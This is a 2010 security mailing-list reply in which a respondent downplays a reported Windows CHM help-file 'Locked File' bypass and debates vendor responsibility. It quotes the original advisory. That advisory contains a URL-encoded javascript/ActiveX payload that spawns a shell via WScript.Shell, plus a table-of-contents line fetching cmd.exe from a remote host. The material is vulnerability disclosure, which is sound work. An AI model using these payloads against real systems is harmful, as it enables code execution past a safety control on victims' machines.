Message-ID: <optid.4790194bee.58DB1B68E62B9F448DF1A276B0886DF12DB635C4@EX2010.hammerofgod.com>
Date: Wed, 23 Jun 2010 15:23:27 +0000
From: "Thor (Hammer of God)" <Thor@...merofgod.com>
To: Paul Craig <paul.craig@...urity-assessment.com>,
	"full-disclosure@...ts.grok.org.uk" <full-disclosure@...ts.grok.org.uk>,
	"bugtraq@...urityfocus.com" <bugtraq@...urityfocus.com>
Subject: RE: [Full-disclosure] Microsoft Help Files (.CHM): 'Locked File'
	Feature Bypass

Hey man - hope all is well. 

FYI- I tried your example file and by default nothing worked on Windows 7.  The "loading and embedded file" says "this file is blocked", The file spawn requires a script prompt with a "automation error" after that, the windows control panel didn't launch at all,  and the files required me to save them, etc.

The text from the uri handler did work, but I'm not sure what the ramifications of that are. Oh, the Action Panel did show up. 

I agree this isn't an "exploit" but I guess it is somewhat interesting.  Of course, downloading random .chm files is akin to downloading any remote content-rendering document, except that .chm won't automatically run from the internet in the first place, even with your rendering code in it that must be accepted by the user to load in the first place.  

As such (again, notwithstanding the mild interest around it) I'm confused by the "This was the response I expected" comment because if I read it right, it sounds as if you are being condemning for some reason.  Are you saying "this is the response I expected" because it is the correct response and you are aware of what would be required to push out supported hotfixes for low impact issues, or are you saying "this is the response I expected" because you somehow think it SHOULD be hotfixed, but is not, and that is "typical" (as in "irresponsible") or something like that?

It actually brings up a question that I find more interesting than the issue itself, which is "how far is too far?"  If MSFT designs a system around identifying files sourced from different zones in an attempt to mitigate risk of end-users downloading unknown content and immediately executing it, how far beyond user-acknowledgment and feature disabling (as even your "bypass" example shows) do you think a vendor is supposed to go (Not YOU, but the royal "you")?

I think it is a valid and applicable question. We have Apple seizing every opportunity they can to make user-acknowledgement for mitigation marketed as an actual Bad Thing, yet when a file downloaded from untrusted sources on the internet is marked as Internet Zone, and the user has to explicitly attempt to open it, and doing so generates a warning and they open it anyway, and for even then the "bypass" code doesn't even work, yet MSFT say they'll fix it in a service pack anyway, the entire issue you found gets reduced to "This was the response I expected." 

The real issue here is that the more we criticize vendors for not Thinking For The User in Every Possible Circumstance, the more we see countries like AU thinking they will solve security issues by requiring AV and FW on every computer.    If I posted that my Fedora box (if I had one) allowed me to do something like this, nix security people would attack me with religious furor.   Yet the moment a left-handed, sideways, and round-the-back "issue" arises that really doesn't even work, and the vendor decides to fix it in schedule maintenance, it's still not "good enough."  

If you (again, not you, but the industry) want to be able to criticize AU for being idiotic, then don't continually create an environment where the expectation is that the vendor will do every last bit of the thinking for the user, because you send the message that it is OK for .gov's to get in line after .com's draw it.  

t

>-----Original Message-----
>From: full-disclosure-bounces@...ts.grok.org.uk [mailto:full-disclosure-
>bounces@...ts.grok.org.uk] On Behalf Of Paul Craig
>Sent: Tuesday, June 22, 2010 7:06 PM
>To: full-disclosure@...ts.grok.org.uk; bugtraq@...urityfocus.com
>Subject: [Full-disclosure] Microsoft Help Files (.CHM): 'Locked File' Feature
>Bypass
>
>     (    , )     (,
>  .   `.' ) ('.    ',
>   ). , ('.   ( ) (
>  (_,) .`), ) _ _,
> /  _____/  / _  \    ____  ___   _____
> \____  \==/ /_\  \ _/ ___\/ _ \ /     \
> /       \/   |    \\  \__( <_> \  Y Y  \
>/______  /\___|__  / \____>_ __/|__|_|  /
>       \/         \/.-.    \/         \/:wq
>                    (x.0)
>                  '=.|w|.='
>                  _='`"``=.
>
>Microsoft Help Files (.CHM): 'Locked File' Bypass Versions Affected: Windows
>XP, Windows Vista, Windows 7
>
>pdf: http://www.security-
>assessment.com/files/advisories/Windows_Locked_HelpFiles.pdf
>
>+-----------+
>|Description|
>+-----------+
>
>Changes made with Windows XP introduced additional origin validation for
>files downloaded from the Internet when saved to an NTFS volume. This
>'feature' is present in Windows XP, Vista and 7.
>
>When a user downloads a .CHM file using Internet Explorer (or another
>browser) Windows will mark an NTFS meta-data flag for the file, which
>indicates the file should be "Locked". Locked Help Files will not render any
>content within the CHM file using the Help File Viewer (hh.exe) until a user
>selects the file in Explorer and clicks the "Unblock" button under the files
>properties, which resets the NTFS meta-data flag.
>
>This security feature can be bypassed by referencing external URI handlers
>from the CHM file's Table of Contents file, and links can directly accessed
>regardless of the help files locked state.
>
>Consider this example which references a local html file, and will not render:
>
><param name="Name" value="I will not work"> <param name="Local"
>value="pleasegivemeashell.htm">
>
>And this example which will render, and spawn a shell through
>javascript/vbscript + activex:
>
><param name="Name" value="shell">
> <param name="Local"
>value="javascript:document.write('%3C%68%74%6D%6C%3E%3C%73%63%72
>%69%70
>%74%3E%76%61%72%20%63%6F%6D%6D%61%6E%64%3D%70%72%6F%6D%7
>0%74%28%22%5
>7%68%69%63%68%20%66%69%6C%65%20%74%6F%20%73%70%61%77%6E%3
>F%22%29%3B%76
>%61%72%20%77%73%68%20%3D%20%6E%65%77%20%41%63%74%69%76%6
>5%58%4F%62%6
>A%65%63%74%28%22%57%53%63%72%69%70%74%2E%53%68%65%6C%6C%
>22%29%3B%77%73
>%68%2E%52%75%6E%28%63%6F%6D%6D%61%6E%64%29%3B%3C%2F%73%6
>3%72%69%70%74%
>3E%3C%2F%68%74%6D%6C%3E');">
>
>The same technique can be used to download remote files, by linking the
>table of contents to a remote http:// resource.
>
><param name="Local"
>value="http://ikat.ha.cked.net/Windows/files/cmd.exe">
>
>The implemented locked 'feature' and the NTFS flag are effectively useless for
>CHM files.
>
>Although I would not call this an exploit, it does illustrate a nifty trick that may
>prove useful to someone else.
>It might also make you think twice next time you download a Help File.
>
>+------------+
>|Exploitation|
>+------------+
>
>An example CHM file can be found at:
>http://www.security-assessment.com/files/advisories/blockedhelp.chm
>
>Source code to the Help file is available at:
>http://www.security-assessment.com/files/advisories/blockedhelp_src.zip
>
>+--------+
>|Solution|
>+--------+
>
>Microsoft acknowledge that this is a bug, but do not think it requires fixing
>until the next Windows Service Pack. This is due to the mitigating
>circumstances of CHM files and the requirements of an NTFS file system.
>
>This was the response I expected.
>
>
>
>Paul Craig
>Principal Security Consultant
>Security-Assessment.com
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists